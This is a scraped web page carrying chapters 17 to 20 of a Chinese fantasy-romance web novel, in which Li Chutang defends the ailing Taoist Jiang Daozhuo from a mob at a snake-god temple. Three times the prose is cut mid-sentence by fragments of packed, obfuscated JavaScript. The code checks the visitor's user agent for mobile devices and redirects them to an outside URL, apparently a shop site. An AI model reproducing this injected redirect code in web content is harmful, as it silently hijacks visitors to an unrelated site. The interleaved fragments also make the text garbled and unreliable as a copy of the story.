李初棠流着罪臣苏氏一族的血脉，又贵为太师之女，如此矛盾的身份流落山野，回了京也是块烫手山芋，不知李谦作何感想。 反正，他是不会轻易放她回京的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495119|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江道灼幸灾乐祸地想。 见主上情绪缓和，观澜急道：“李谦没少给您使绊子，不如将他女儿做成人祭，也算李家功德圆满了！” 正此时，江道灼手中把玩的银铃蓦地停住，目光转向庙门处。 李初棠正抱着一捆柴禾费力走近破庙，鬓发被汗濡湿，脸颊泛着淡淡的红。 观澜即刻噤声，顺着他的视线望去，心头骇然。 江道灼收回目光，语气恢复平淡，却字字清晰：“她，我另有用处。人祭之事不必再提。” 观澜垂首称是，不敢多问，拎着山鸡匆匆退下处理。 夜色降临时，李初棠捧着一碗鸡汤，小口啜饮，心下暗诧这人厨艺进步神速。 “再过两日，红姨与虎哥要下葬了。” 上山已近一月。初来春寒料峭，如今窗外草木葳蕤，都快夏天了。 她垂眸数着日子，江道灼的视线掠过她沾了油光的唇瓣。 “快一旬了。”他忽然道。 李初棠指尖一颤。自那日他提出交易，她便对这“旬”字格外敏感。 她声音发紧：“……你什么意思。” 江道灼指尖缠着一条小蛇，缓缓摩挲：“你不是说，要对付他们？” “哦，这事啊。”她松了口气，随即心虚地瞥他一眼。 也不知这人什么体质，总招来毒蛇环绕。李初棠之前极怕蛇虫，因和他日日相处，如今已经脱敏了。 深夜，人皮灯在竹桌中央晕开一团暖黄的光。 李初棠在一侧专注地绘制符纸，江道灼坐在对面，静静翻阅观澜带来的那卷人祭秘本。 纸窗上，两道影子被灯光拉得忽近忽远，时而交汇，透着一种奇异的安宁。 江道灼逐字细读，却未寻到关于唇血的只言片语。 他蹙起眉，努力回忆那种感觉。他不懂为何此处的血，与腕上、颈边的血，带给他的感受截然不同。 那日交缠间的温软酥麻，究竟是药血之效，还是因为她的唇？ 他抬眼，目光悄悄落向桌对面的李初棠。她正垂首勾勒纸上的纹样，睫毛在眼下投出浅浅的影，唇瓣因专注而微微抿着。 这般注视太过鲜明，李初棠忍不住抬头。他迅速移开视线，重新看向书页，仿佛方才只是偶然走神。 李初棠：“……” 待最后一笔落成，她搁下笔，疲惫地揉了揉手腕。 对面的人忽然开口：“手疼？” “没有。” 江道灼已放下书卷，伸手握住她的腕子。他指腹粗糙，带着常年试药握剑留下的薄茧，擦过她细嫩的皮肤时，激起一阵细微的战栗。 他手法生硬却精准地按揉着她的穴位，李初棠疼得吸气，酸胀过后却是渐生的舒缓。 片刻，他并未松开，而是三指搭上她的脉门。 灯火摇曳，春夜的寂静笼罩着小小的庙宇。 半晌，他抬眸，目光掠过她疑惑的脸，最终停在她微抿的唇上，淡淡道：“脉象虚浮，思虑过重。” “你有什么好思虑的，该不是想……”他垂眼，看向她的唇。 李初棠心头一跳，猛地抽回手，耳根发烫。 这人……怎的什么都能扯到那件事上去！ 江道灼看着她慌乱的侧脸，没再言语，只重新执起书卷。 窗外，山风拂过林梢，带来草木生长的蓬勃气息。暮春的夜空之上，一弯弦月正悄然走向圆满。 江道灼压下心底的愁虑。 于他而言，月圆并非团圆，而是劫难。 18. 18 近日山民如蚁群聚集，越是临近白事祭祀，越是喧腾。 李初棠将浸好药汁的符纸和冥币铺开晾晒，最后均匀撒上一层蛊粉，才将银质香囊递还给江道灼。 敲锣打鼓声昼夜不绝，悲戚的唱诵在山谷间层层回荡。 连蛇神庙外也陆续有人布置起来。山民们小心翼翼清扫庙场，却无人敢贸然踏入庙门半步。 谁都知道里头住着两位煞神，只好在门外踌躇张望。 “砰——！” 庙门豁然洞开。 李初棠立在正中，声音清亮：“该换供品的进来换，别碰我东西！” 负责祭祀的村民浑身一颤，对这妖女又惧又敬，迟疑着挪进庙里。 江道灼斜倚廊柱，抱着桃木剑冷眼旁观。为首老伯跪拜时双膝发软，险些栽倒。 明日便是红姨下葬之日。依山中旧俗，凡有人下葬，百姓须提前一日拜蛇神以祛阴气，次日再由死者亲属主祭。 因此庙外人越聚越多。除了洒扫祭祀的，还有不少摆摊的山民，叫卖护身符箓、香烛纸钱。 最迟明日，大批人马便会齐聚蛇神庙。届时冲突难免，不如先发制人。 她决定就在这个节骨眼上，卖货！ 众人一见她露面，如避蛇蝎般欲散。李初棠清了清嗓子，扬声道：“都不许走！” 人群顿时僵在原地。 多亏了江道灼，她才能演一出狐假虎威。 李初棠在檐下摆开冥币符纸，趁着人多高声叫卖。她不仅要赚钱，更要在交易中埋下种子。 “蛇神易怒，旧祭不诚！明日下葬阴气重，请张新符护身保平安喽！” 她早向林张婆婆打听过：凡有白事，山民必购符纸冥币，这是规矩。 有人怯声问：“什么叫……旧祭不诚？” “红姨虎哥本是蛇神，如今丧命，正是被蛇神厌弃之证！”李初棠双目灼灼，“来看看我这新符。蛇神亲寄，开过光的！” 山民们一怔，想起正是这女子弄死了两位厉害角色，心下不免生出几分畏服，连她的话也信了三分。 李初棠扫视众人，默默记下那几个神色最惶惑、最易动摇的面孔。 “这符怎么卖？”一个姑娘小声问。 “一个铜板一张。” 姑娘顿时恼了：“这么贵！你怎么不去抢？” “爱买买，不买滚。”江道灼懒洋洋开口。 那姑娘转眼看向李初棠身后俊逸的青年，颊上蓦地飞红，连声音也软了：“我又没说不买……” 李初棠歪头，翻个白眼：“哦，那就买喽！” 姑娘骑虎难下，咬唇瞪她，恨不得吃了她。 “你家几口人？”江道灼忽然问。 姑娘目光柔柔看向他：“五口。” 江道灼不多言，抽出五张符纸递去。 李初棠摊手：“给钱！” 姑娘咬牙将铜板放进江道灼掌心。 自上次市集后，不少年轻女子都在留意这个冷面道人。此刻即便不为祈福，也愿往他跟前凑。 不一会儿，摊前已聚起一圈人。 “请了这符，蛇神保你平安！明日祭祀定顺顺当当！”李初棠笑吟吟道。 “真这般灵验？”旁人看得发愣。 “你瞧这些姑娘，请符后面色红润，一看便是得了神佑的！” 李初棠嘴巴比笑容还甜。 冥币符纸很快售罄。 周围摊主拉长了脸，红着眼斜睨李初棠数钱。 她新奇地打量江道灼。多亏他撑门面，不然一张符都卖不出去。 自相识起，她只记得他残暴阴戾，此刻细看才觉他容貌清秀，甚至带着几分人畜无害的苍白羸弱。 真是表里不一，极具欺骗性。 “我发现，你这张脸卖起符来，比我的嘴还有用。” 江道灼懒懒瞥她一眼，轻笑：“怎么，李大小姐现在连皮相生意都琢磨上了？看来我开发得挺好。” 他不经意扫过她的唇。 李初棠脸一僵，瞬间涨成蜜桃：“你找打！” 日头西沉，洒扫庙场、摆摊卖货的山民渐次散去，只剩她与他二人。 直至躺上竹床，江道灼双臂环胸，异常警惕。 满月前夜，周期性的经脉滞涩与内力涣散再度袭来，熟悉的绝望感如潮水漫涌——这是明日痛苦的先兆。 晚饭后他熬了浓药试图压制，收效甚微。 “你怎么了？”李初棠背对他问。 平日这时她早睡了，今夜却醒着。 她敏锐道：“你有点不对劲。” 两个人相处久了，多少能感知到彼此的异样。 “闭嘴，睡觉。” 他第一次流露烦躁，却用更冷的语气掩盖。 李初棠不再多言，闭目养神，一宿无话。 红姨虎哥下葬之日终于到来，却比想象中平静。 李初棠一早去了林张氏家，刻意空出庙场。而江道灼早饭后便不见踪影。 村民吹打哭丧，至蛇神庙祭拜。 祭祀忙了整个下午，黄昏时分才将两具棺木落葬。李初棠整日待在林张氏家中，始终未见江道灼。 想起他清晨苍白的面色、微颤的指尖，一丝隐忧缓缓漫上心头。 裙带上银铃忽然轻响，她一碰，立刻烫得缩回手。 午饭未用完，李初棠便起身寻人，却四处不见踪影。 林张氏道：“莫不是去白事上了？” 她摇头：“他最嫌热闹。” 眼看太阳落山，李初棠心中升起不好的预感。 她不敢犹豫，去庙里取了弓箭，直奔外面找人。 草山幽深茂盛，藏一个人太过容易。 她奔至山涧溪边，又寻遍庙外竹林，依旧空空荡荡不见人影。 天色越来越沉，腰间银铃在荒野中响得急促。 李初棠急得跺脚：“刘大壮——你在哪儿？！” 江道灼从后山冷泉归来，长发湿透。泡了一整日泉水，体内躁火仅得片刻平息。 他以冷泉为药池，调理身体。 回来时，他遣观澜回阳明山取药，眼下便独自回破庙。 夕阳彻底沉落，余晖微弱。他步履沉缓，体内血液如野马奔涌，不受控地发烫、灼烧。 江道灼强忍炙痛，一步步前行。 走了许久，天色尽墨。 挂着白幡的破庙浸在凄清夜色里，满地撒落的纸铜钱泛着森然微光。 热闹了一日的庙宇沉寂下来，弥漫着诡异的寂静。 江道灼踏上石阶，神色一顿，察觉异样。 他自嘲一笑。圆月还没升起呢，身躯已经开始迟钝。 若在平日，入院那刻就能感知危机。 “滚出来。” 几名面相凶恶的男子自庙中现身，为首的鼠眼男跨过门槛，打了个响指。 林间忽地涌出众多刁民，手持棍棒，杀气腾腾。 “你就是那妖女养的小白脸？”鼠眼男上下打量他，“她人呢？杀我弟兄，辱没蛇神，今夜新仇旧账一并清算！” 这人便是草山最后一位神使，听人说山上生变，这才从镇上赶回来。 江道灼勾唇：“你不知，倒来问我？” 鼠眼男怒极，懒得废话，挥手便令手下挥刀砍去。 江道灼横桃木剑格挡，壮汉发力狠劈，却被这人以柔劲化开蛮力。稍一分神，他便被一脚踹翻在地。 壮汉惨叫压过了江道灼喉间闷咳。 这群蝼蚁，竟还敢上门。 众人见他身手，一时发怵。 鼠眼男眯眼细瞧，见他面色惨白，握剑的手背青筋暴突、血脉贲红，顿时恍然。 这人强弩之末，不过硬撑罢了。 “别怕，一起上！” 众人嚎叫着扑来。 鼠眼男高声喝令：“去喊人！告诉乡邻，不想死的都来看戏。蛇神发怒，要开杀戒了！” 此事必须闹大。 直觉告诉他，这人危险得很。若不聚集众人，恐怕镇压不住！ 喽啰如见血的蚊蝇，一窝蜂涌向江道灼。 天色愈暗，圆月悄然攀上天幕。 月光淋在江道灼身上，如同泼洒无形毒液。 四肢僵滞不值一提，最难熬的是体内翻腾的药血和毒素。 他需要放血，需要熬过药人周而复始的衰弱期。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495120|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀锋划破衣衫，渐渐染出鲜红。 不知不觉间，凶民已占上风，将他逼至供桌旁。 江道灼单膝跪地，以剑支撑。发丝脸颊沾满血污，衣摆下血滴嗒嗒坠地。 五指抠进砖缝，他从未如此痛苦过。 唯有鲜血直流的伤口能逼他清醒，暂缓体内奔涌的毒潮。 庙门外不知何时已挤满围观山民，个个伸长脖颈往里探。 一看平日凶煞的男人狼狈至此，无不畅快喝彩。 “好哇！今日可有好戏看了！” “可不是？这男的有妖女撑腰，整天欺压乡里！” “没想到也有今天，嘻嘻……” 他们不懂大是大非，只要受欺负的人比他们地位高，比他们过得惨，他们心里就舒坦。 “众人听好！” 鼠眼男振声高喊，四下立静。 他身为蛇神使者之一，专程从镇上奔丧而归，就是要为给同僚复仇！ “蛇神降罚，专诛不敬神使之人……” 鼠眼男声如洪钟，震得山民胆颤。 后续言语，江道灼已听不清。 眼前一片模糊，汹涌毒素如万针刺穿百骸，他微微一颤，肌肉牵动的剧痛激得双目赤红。 许久没有如此不堪了。 上次还是母亲自戕后，他被送往南疆之时。那里有一片皇帝钦划的药窟，号称炼化仙药的宝地。 他跟了一位仙风道骨的道长，称为师父。 “四季轮转，每逢换季满月之夜，便是你力散功消之时。驱不得蛇，散不了蛊，提不起剑，动不了身……你可忍得？” 小江道灼点头。 他别无选择。 依稀记得师父温和含笑的模样。此后多年，这个优雅的疯子伴他左右，直至身亡。 母亲早告诫过他：身负南疆异血，体质殊异，终是俎上鱼肉，任人宰割。 师父也告诫过他：“入了药窟，没人护你。别以为拜师就万事大吉。想活下去，就要自己成全自己……” 小江道灼吞下师父新炼的丹药，甘为首个试药之人。 自己的命，终须自己搏。纵使粉身碎骨，他也要试试前路荆棘，是不是真比他的骨头还硬！ 江道灼强忍锥心之毒，曲指挥舞着腰间银囊。 内力由气血逆冲，喉间腥甜，他眼前发黑，一个踉跄跌倒在地。 蛊虫毫无反应，更没有毒蛇能帮他。 他双目猩红，体内沸腾的药血仿佛在嘶吼：既然压不住，那就都别活了。 指尖艰难勾向腰间符纸。那里封着一触即发的毒粉，足以让半座庙的人陪葬。 “还不认命？！” 眼尖的鼠眼男踩住他作祟的手。 肮脏的靴底碾上江道灼的手掌，他第一反应不是痛，而是想笑。 笑这群蝼蚁，竟也有把他踩在脚下的一天。可惜喉间全是血，笑声变成了压抑的呛咳。 山民见他大势已去，喊得更起劲了。 “杀了他！杀了他！” 有人扔来一片烂菜叶，恰挂在他发间，围观者轰然爆笑。 刺耳的哄闹扎穿耳膜，他仿佛已濒临绝境…… 没人能救他，他亦不求人。 活着是赊来的，他从不怕死。 烂菜叶挂在发梢，污浊的汁液渗进额角伤口，刺痛反而让他清醒了些。 周围的哄闹声渐渐远了，像隔着一层水。 他想起药窟里那个总笑着喂他试新药的师父，也是这般围观者的眼神。 不是恨，不是气，是打量破碎器物的幸灾乐祸，是想他粉身碎骨的隐隐期待。 江道灼睫羽轻颤，他好像又要成为案板上的鱼了。 他抬起一双苍茫的挂着血丝的眼眸，死死地盯着这群人。 哪怕做鬼，他也要记住几张脸。 即将沉入黑暗的刹那—— 远处忽有银铃急响，清冽如碎玉，破开所有嘈杂。 他睫毛一颤。 下一瞬，箭矢穿云裂空而来，狠狠扎入鼠眼男胸膛！ “放肆！” 李初棠持弓立于窗前。 她衣袂翻飞，目光如冰：“我看谁敢动他！” 19. 19 李初棠的声音如银铃般传来，清脆却透着刺骨的寒意。 庙宇瞬间陷入死寂，唯有鼠眼男人的惨叫回荡四周。 江道灼怔然抬眸。 模糊的视野里，少女提弓跃窗而入。 她顾不得姿态端庄，提裙大步朝他跑来，用力挤开人群，双臂一展，牢牢将人护在身后。 “你没事吧？” 她朱唇微启，神色焦灼。 男人直勾勾看着她，眸光微动。 而后，他轻轻摇头。 李初棠眉心舒展，踏下心来。 她摸摸他的头：“不怕不怕，有我呢。” “下次不许不告而别。” 江道灼脸上挂血，沉默地凝视她。 眼神里不是温柔，而是混杂着痛苦、惊诧和一丝不解的复杂情绪。 这一箭，彻底镇住了在场山民和地头蛇。 喽啰们围住中箭的头目，七手八脚地搀扶、止血。 场面一时混乱，却无人敢贸然上前。 李初棠抓住这机会，伸手指向他们：“什么人？敢擅闯蛇神庙？！” 众人一愣。 这女人还反过来质问他们，简直颠倒黑白！ 她要的就是先发制人：“大胆！在蛇神的道场也敢撒野？不撒泡尿照照自己是谁，冲撞了蛇神，你们担得起吗？！” 她一边说着，一边轻轻抚着江道灼的后背。 她缓缓站起身，目光扫过人群时，那股不容置疑的气势震慑住了不少山民。 他们不是第一次和李初棠打交道。 都知道她不好惹，更信她是妖女——平时或许娇柔，可一旦发怒，简直比阎罗还可怕！ 一时间，所有人僵在原地。 连那些喽啰也面面相觑，不知所措。 鼠眼男疼得浑身哆嗦，咬牙掰断胸前的箭羽，捂着伤口大口喘气。 这一箭不算深，未伤及心脉，他尚能撑住。 左右连忙将他扶起，鼠眼男强忍剧痛，厉声道：“哪来的野丫头，占着神庙嚣张！老子还没找你算账，自己到送上门来！” 他这一喝，原本蔫了的山民顿时有了底气。 “她是外地来的，一来就霸占神庙当家，还害死了两位神使！” “原来是你！”鼠眼男恨得牙痒，“是你害了我兄弟和红姨！” 他死死盯着李初棠，眼中几乎喷出火来。 “是又如何？”李初棠冷笑，“我能解决他们，今天也能解决你！” 她一步踏上供桌，站直身子，居高临下地俯视众人。 鼠眼男从未见过如此嚣张的姑娘，气得肺都要炸了！ 怒火牵动伤口，他猛地咳出一口血沫。 山民们见状，竟隐隐流露出幸灾乐祸的神色。 看着曾经高高在上的神使如此狼狈，心底不知为何涌起一股快意。 完美诠释了什么叫“恶人自有恶人磨”。 自打上山，李初棠就明白这里不认京城那套温文尔雅的礼数，只比谁嗓门大、谁蛮横、谁不讲理。 “瞧瞧，你要是真神使，怎么会这么脆弱？中我一箭就要死要活的！” 她神色坦荡，字字清晰，仿佛真有神明撑腰一般。 山民们看看她，又看看狼狈的神使，一时不知该信谁。 “你不敬神使，迟早遭报应！”一个喽啰颤声说。 “是啊……她怎么敢这么对神使……” 就连林张婆婆也忧心忡忡：“海棠啊，你这像什么话，还敢踩供桌，要遭天谴的……” 李初棠看着议论纷纷的众人，心知症结在此。 什么神使，不过是借着蛇神名号招摇的骗子罢了！ “我问你们，神使到底是干什么的？！”她提高音量。 “神使是蛇王手下，专门和蛇神沟通的！” “好，那我再问——谁见过蛇王？！” 众人愣住，面面相觑。 李初棠一直用余光瞥着鼠眼男，见他神色明显慌乱。 “蛇王的名号，我从上山第一天就听婆婆提过。想必各位也都知道他的大名。” 山民们纷纷点头，连鼠眼男的喽啰也跟着附和。 “蛇王是蛇神派到山里的圣人，终日与蛇神对话，不是一般人能见的。他老人家钦点了虎哥、红姨和我们头儿当神使，由神使管着山里的大小事！” 李初棠挑眉：“既然蛇王这么厉害，又是直接听命于蛇神的大人物，如今山里乱成这样，他怎么一直不露面？” 她的问题引导着山民思考。 再迟钝的人也该意识到——山里所有事都由神使说了算，可那位神秘的蛇王……从未现身。 “因为，根本就没有蛇王！” 李初棠的声音如惊雷炸响。 “胡、胡说！”鼠眼男颤抖起来，“你少在这儿妖言惑众！” “怎么可能没有蛇王？我太爷爷那辈儿就信蛇王了！”一个喽啰声音发颤。 “是啊，神使都是世袭的，头儿家祖上三代都是！” 李初棠冷笑：“没错，你和虎哥祖上是捕蛇好手，有点声望。后来你们几家想靠这个捞钱，串通一气编出个‘蛇王’来，利用迷信控制山民！” “你们自称神使，收保护费，骗老百姓的血汗钱！是不是？！” “还敢不认？信不信我再补一箭！” 说罢，她再次弯弓搭箭，对准鼠眼男。 这一次，不止鼠眼男，连周围的喽啰和山民都开始发抖。 李初棠不是第一次和地头蛇打交道。 这些人外强中干，只会虚张声势。说白了就是绣花枕头，中看不中用！ “你才是妖女！”鼠眼男破口大骂。 他绝不能露怯！一旦他软了，身后这些人就会倒戈！ 他一边吐血一边喊：“是她害死了两位神使！你们还愣着干什么，拿下她啊！” 江道灼猛地抬眼，猩红的眸子冷冷扫过蠢蠢欲动的人群。谁敢动她，他不介意拼尽最后一口气。 李初棠怒喝：“我看谁敢？！” 她放下弓箭，声音铿锵：“我李海棠，能除掉红姨和虎哥两个神使，还能一箭射伤你。”她看向围观众人，“你们知道为什么吗？” 山民们屏息静听。 “因为，我才是——蛇神派来的真、使、者！”李初棠神气叉腰，“我就是蛇王本王！” 此话一出，如平地惊雷，炸出死一样的寂静！ 过了许久，呆住的人们开始躁动。 “什么？！” “你、你才是神使？！” 鼠眼男气得七窍生烟，“——嘛玩意儿？！” 这个不知天高地厚的丫头，简直倒反天罡！ 他梗着脖子吼：“你他娘是神使，我他娘是什么？！” “我正要问你！”李初棠顺着杆儿爬，指着他问，“你为什么要冒充神使？说！” 鼠眼男怒极气极：“老子哪儿冒充了？老子货真价实！” “既然货真价实，那召唤蛇神给我们看看啊！” 鼠眼男一僵，眼珠慌乱地转动。 李初棠步步紧逼：“所谓神使，就是替村民和蛇神传话的桥梁！你连蛇神都召唤不了，不是骗子是什么？” 一个秃头的喽啰反击：“话都让你说了！说得好像你真能召唤似的！” “没错，我就是能！”李初棠白他一眼，清了清嗓子，“大家还记得我昨天卖的符纸和冥币吗？那就是蛇神托我交给你们的！” “啊？”林张婆婆一愣，赶紧掏出怀里的符纸。 今日下葬阴气重，几乎人人都将符纸贴身带着。此刻不少人纷纷掏出来，仔细端详。 鼠眼男气的蛋疼：“胡说八道！随便画张符就说是蛇神给的？骗三岁小孩呢！” 然而自李初棠那一箭之后，已经没人再信这个满身是血、狼狈不堪的神使了。 江湖就是这样。走到哪儿，都是强者说了算。 “蛇神惦记大家，才托梦让我上山看看。结果一来就发现，山里竟然有三个骗子冒充神使！这还得了？”李初棠绘声绘色，“我禀报蛇神后，蛇神命我除掉他们，再发符纸给你们辟邪消灾！” “你们若不信，就看这符纸！” 众人低头细看，只见明黄符纸上的朱砂纹路竟隐隐发亮，随即泛起一层幽蓝的荧光，渐渐化作蛇形火焰，“嗤”一声燃烧起来！ 火舌蹿得极快，险些灼伤手指。 “啊——！” 惊叫声四起。 “看见了吗？这就是蛇神对你们的警告！”李初棠张开双臂，神乎其神道，“蛇神发话，众人听令——” “你们这些愚民，听信坏人谗言，诬陷真使者！现在好了，蛇神真的发怒了！看你们怎么办！” 一位被符火燎伤手背的老汉闻言，两腿一软，“扑通”跪倒在地。 “神使饶命啊！老汉我从没做过伤天害理的事！” 一个小女孩吓得哭出来：“我也是！我也没做过！” 说着，她跟着跪了下去。 李初棠站在供桌中央，背后是蛇神威严的泥塑。窗外月光洒在她身上，映出一身沉静与凛然。 她双手环胸，姿态圣洁而不可侵犯。 众人看直了眼。这哪儿是神使啊，是蛇王才对！ 李初棠背脊挺得笔直，唯有她自己知道，小腿在裙下微微发抖。但她不能退缩，身旁是昏迷的江道灼，身后是好不容易争来的神坛。 见她气势如虹，许多人心中发怵，纷纷跟着下跪。 片刻之间，破庙里跪倒一片。 “神使饶命！神使饶命！” 李初棠心里松了口气。 “凭啥信你？！”地头蛇身边的壮汉突然吼道，“符纸会发光，说不定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495121|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你耍的戏法！” 几个喽啰立刻应声：“对！别信她！拿下她，搜她身！” 人群一阵骚动，前排几人扑过，生生将少女从供桌上拽了下来。 “哎呦呦——”李初棠摔倒在地，瞳孔一缩，指尖死死扣住弓身。 不能慌！ “戏法？”她起身冷笑，抬手直指鼠眼男，“那你们问他！他胸口的箭伤是不是戏法？他兄弟虎哥是怎么死的？是不是被蛇神厌弃，七窍流血而亡？” 李初棠盛气凌人：“我是真神使，所以我能杀了他们！而你，是不是也想死啊？” 她急中生智，成功地转移焦点。 众人目光“唰”地聚焦鼠眼男。 李初棠趁机高喊：“蛇神罚罪，从不过夜！你们若再助纣为虐，今晚子时，便有血光之灾！” “啊？这可怎么办？！”山民乱作一团。 “都安静！”李初棠维持秩序，双目炯炯有神，“凡是有我符纸的人听着，这次只是蛇神小小的警告！以后不再犯错就好，蛇神自会保佑你们风调雨顺！” 这话给了山民们一颗定心丸。 “但是！”她话锋一转，“若不肃清这些狂徒，恐怕蛇神震怒，大家都得遭殃！” 她目光转向狂徒，众人齐刷刷看去。此刻，鼠眼男和他的喽啰彻底成了众矢之的。 “还不快滚——！”山民们跪着怒喝。 喽啰们狼狈欲逃。 鼠眼男深知已无退路，恐惧道：“神使饶命，小的再也不敢了！” 他说着就要跪拜。 李初棠刚舒一口气，却见鼠眼男抬眸，眼中闪过疯狂，猛地从靴中拔出匕首，嘶吼着朝李初棠掷去：“我死也要拉你垫背——！” 李初棠惊骇之下，来不及急躲闪。 还没反应过来，她就被一股力量拉扯着，倒进了一个血腥味的怀里。 匕首擦着她的发丝飞过，钉进江道灼的肩头，刀柄剧颤。 一股黑血涌出来，他松开她，虚弱地垂下头。 “大壮！” 庙内一片死寂。 她怒气瞪视着鼠眼，扯开被划断的一缕发丝，再抬眼时，目光寒如冰刃：“大家看看，他居然敢在蛇神面前行凶！” 她声音不大，却字字砸进人心，“此等狂徒，若不诛杀，蛇神今夜必降大灾！” 这一次，山民脸上只剩狠厉。 不知谁先揣了鼠眼男一脚，紧接着，一片一片的人影如雨后春笋般起身，围住鼠眼男一边踩一边骂。 李初棠保持着睥睨的姿态，待山民散去，只剩地下一滩肉泥。 喽啰们见头目已死，顿时抱头鼠窜。 李初棠不给机会。她拉弓搭箭，眼神狠厉。 利箭如神佛的护符，死死焊在了喽啰身上。 一箭致命！ “蛇神命我清理门户，身为使者不敢不从。”李初棠收起弓，声音清晰，“再有挑衅者，下场便如他一般。没买符纸的人记住，三日后过来买。一个铜板一张，一张只保一人。若再有不敬，休怪蛇神不佑！” 她戟指恶人，“还不快活捉妖魔！” 山民们得了令，立刻去追打其他喽啰。 李初棠指挥着几个虔诚的信徒，他们收拾干净蛇神庙，又拜了拜她，才恭敬退去。 待所有人离开，庙门合上那一刻，她强撑的气势瞬间垮塌，后背冰凉，全是冷汗。 庙里，骤然安静下来。 李初棠长长舒了口气，紧绷的神经终于松弛。 “总算走了。” 她跳下供桌，双腿微微发软。 “多亏了你的药粉……” 李初棠强撑着走到江道灼身边，扯出个笑：“没事了……他们不敢再来了。” 话音落下，她才觉后背已被冷汗浸透。 江道灼始终垂着头，一动不动。 “你怎么了？” 江道灼在刚才那段时间里，短暂陷入昏迷。 药毒如潮水般一阵阵袭来，逼得他几乎涣散。 剧痛撕扯间，视线模糊成一片混沌。 唯独她护在他身前的模样清晰——鬓发散乱，眸光亮得灼人。 他强迫自己保持清醒，试图想一些美好的事物缓解疼痛。 比如…… 她的嘴唇。 这个念头闯入脑海时，他自己都怔了一下。 恍惚间，他听见有人在唤他，缓缓抬起眼帘。 映入视线的是李初棠关切的脸。他眯了眯眼，目光不自觉地落在她唇上。 那对唇瓣正一张一合，粉润柔软，看起来……好温暖、好治愈。 李初棠伸手探了探他的额头，认真问：“是不是病了？等着，我熬药……” 她正要起身，却被一把拉住。 李初棠顺势向后一跌，还没来得及反应，微凉而柔软的触感已经覆上了她的唇。 20. 20 李初棠跌进一个充满血腥味的怀抱，紧接着，一双微凉的薄唇贴上来。 江道灼从未如此失控过。他并非承受不住衰败期的痛苦，却本能想抓住一点慰藉。 薄唇触到柔软的唇珠，轻轻厮磨。少女的唇瓣温软而有弹性，一旦碰触，再难分离。 尝到甜头，他手臂收紧，将她牢牢裹入怀中，几乎想将人揉进骨血。 李初棠在天旋地转中缓过神，刚要挣扎，就被他扣住下颌，被迫与他贴近。 “唔……” 她陷入温柔又危险的陷阱，理智叫嚣着逃离，身体僵在他颤抖的怀里。 这个怪物一样的道人，正在她唇间泄露一丝濒临破碎的喘息。 她从未见过这样的江道灼。 颓乱的碎发贴着汗湿脸颊，一双总凝着寒冰的桃花眼里，荡着近乎脆弱的光。 他像是真到了极限，却在她面前卸下所有防备，暴露出无意识的信任和松弛。 李初棠心乱如麻。 她本要推开他，却感受到男人胸膛的震颤。 莫名生出恻隐之心，混杂着唇齿间酥麻的触感，让她紧握的拳缓缓松开。 温软甜香的气息笼罩住他的感官。 他吻得愈发深入，余光瞥见少女绯红的脸颊和迷离的眼眸。 她瘫软在他怀中，双唇微启，气息凌乱。张合间，他窥见了洁白的贝齿。 贪念在脑中一闪，他舌尖轻探，撬开她的唇齿。 李初棠浑身一颤。 她刚要挣动，江道灼忽然停下，睁开眼深深望进她眼底：“别动……” 这是他第一次用近乎恳求的语气对她说话，流露出毫不掩饰的脆弱。 李初棠靠在他胸前，听见他心脏狂跳如擂鼓。 她被吻得浑身酥软，平日清醒的头脑此刻全然失灵。 她不明白自己为何会顺从，这并非理智之举，却像身体在默许…… 这份陌生的本能支撑着她，持续着这个荒唐的吻。 江道灼沉溺其中，仿佛真的找到了救赎。这样吻着一个人，真的好舒服。 许久，他才想起要饮她的唇血。 轻吮唇瓣时，少女喉间溢出一声细微的嘤咛。 江道灼动作一顿，转而温柔厮磨，直到尝到那丝清甜的血腥。 因亲吻而暂缓的痛苦，被唇血彻底抚平。他贪婪地汲取着，不知餍足…… 过了许久，李初棠神志渐渐回笼，羞耻和自厌如潮水般涌上。 “你放开……” 江道灼饮够了血，只觉神清气爽，先前的煎熬被压下去大半。血丹之体，果然神奇。 他听话地松开她的唇，手臂却仍环着她纤细的腰身。 近在咫尺的呼吸交织出温热而暧昧的雾气。 江道灼喉结滚动，眼尾因兴奋泛起薄红，这为他俊美的面容平添了几分疯癫的昳丽。 李初棠找回力气，从他怀中挣脱，捂住仍在狂跳的心口。她黛眉紧蹙，眼圈泛红，娇嗔看着他。 江道灼强撑着身体，气息微喘，哑声轻笑：“生气了？杀了我啊。” “你——！” 他挑眉笑了笑，随即身子一软，倒进她怀里。 胸口一沉，李初棠险些被他撞倒。 比起气恼，更多的是震惊。这个不可一世的疯子，脆弱地倒在自己怀中。 她握拳欲挥，可目光落在他安静苍白的睡颜上时，心却莫名一揪。 偷袭一个病人，胜之不武。 李初棠费尽力气，才将他拖到竹床上。 